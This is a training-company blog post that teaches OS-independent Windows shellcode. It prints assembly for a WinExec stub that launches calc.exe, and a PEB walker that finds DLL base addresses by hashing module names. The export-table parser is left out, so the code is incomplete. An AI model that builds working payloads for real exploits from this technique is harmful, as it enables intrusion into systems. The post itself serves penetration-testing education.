eLearnSecurity Blog

Writing OS Independent Shellcode

Penetration Testing Professional has the most complete and comprehensive coverage of system security among the penetration testing training courses online.

Vipin Kumar and Nitin Kumar, authors of the system security section, covered shellcoding step by step and in great detail.

Today they are sharing a shellcode that is OS independent and works on any Windows in the NT family.

The techniques used are explained in the course.

When you see a shell-code online, 90% of the times this is for a specific OS version. Our goal is to have a shellcode that not tied to a particular version of the operating system.

This translates into the following:

  • We need an OS-independent method of finding a DLL base address
  • We just need to invoke it as easily as possible

As an example, we will consider the winexec shellcode, which executes calc.exe as the payload, though more complex payloads can be written, similarly.

[CODE]

 

  PUSH DWORD 0; null terminate the filename

  PUSH DWORD ‘.exe’

  PUSH DWORD ‘calc’

   

  MOV ESI, ESP

   

  PUSH 1

  PUSH ESI

  PUSH DWORD 0xF4C07457 ; Hash for WinExec 

  PUSH DWORD 0x50BB715E ; Hash for KERNEL32.DLL

  CALL Execute_External_Function_Call

   

[/CODE]

 As you can see above, we first push the function parameters, then we push function-specific parameters needed for invoking it( DLL’s hash and function hash ).

Now consider the function Execute_External_Function_Call.

It consists of PEB parser to find the DLL’s base address and then we use the export table parser to call the function.

So, the algorithm is

  1. parse the PEB block and find each DLL which is loaded into the process
  2. find the DLL name, make it upper case and then calculate the hash
  3. check if calculated hash matches hash provided by the user
  4. if yes, then get the base address and jump to export table parser code

Actual code is

 [CODE]

Execute_External_Function_Call:

POP ESI

POP EDI ; Get the DLL hash which contains our functions

 

push ESI

mov eax, [fs:30h] ; read PEB address

mov eax, [eax + 0x0c]

mov eax, [eax + 0x1c] 

 

; at this moment EAX contains first _LDR_ENTRY structure

 

MOV ECX, EAX

MOV EBX, [ EAX + 4] ; last LDR entry

 

 

; below function calculates the hash of DLL name , which is a unicode_string

next_dll:

  push EAX ; store backup

  mov esi, [ eax + 32]

  xor eax, eax

  cdq

  process_next_byte :

        lodsb 

        inc ESI  

        cmp al, 0x60

        jl conv_not_needed

        sub al, 0x20 ; make the name upper case

    conv_not_needed:

        ror edx, 0xd ; calculate hash 

        add edx, eax

        test al, al

        jnz process_next_byte

     

     cmp edx, EDI

     je name_found

     

 

pop eax

MOV EAX, [ EAX ] ; load next ldr_entry

CMP EAX , EBX

je DLL_not_loaded;

jmp next_dll

 

; if DLL is not loaded, then we reach here, you know what to do

DLL_not_loaded:

 

name_found: ; so let’s get ready to call the function

 

POP EAX;

MOV EBP, [EAX + 8]; ;lets DIG the base ADDRESS of our DLL

; now EBP contain base address of module

 

HERE should be the export table parser code 

 

 

[/CODE]

This kind of shellcode saves a lot of time during a penetration test when the environment to test is heterogeneous. Avoid having a specific shellcode for each version of Windows and each Service Pack level is a big time saver.

If you want to get into the details of advanced shell coding consider enrolling in our penetration testing training course here.

Tags: , ,

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Go to top of page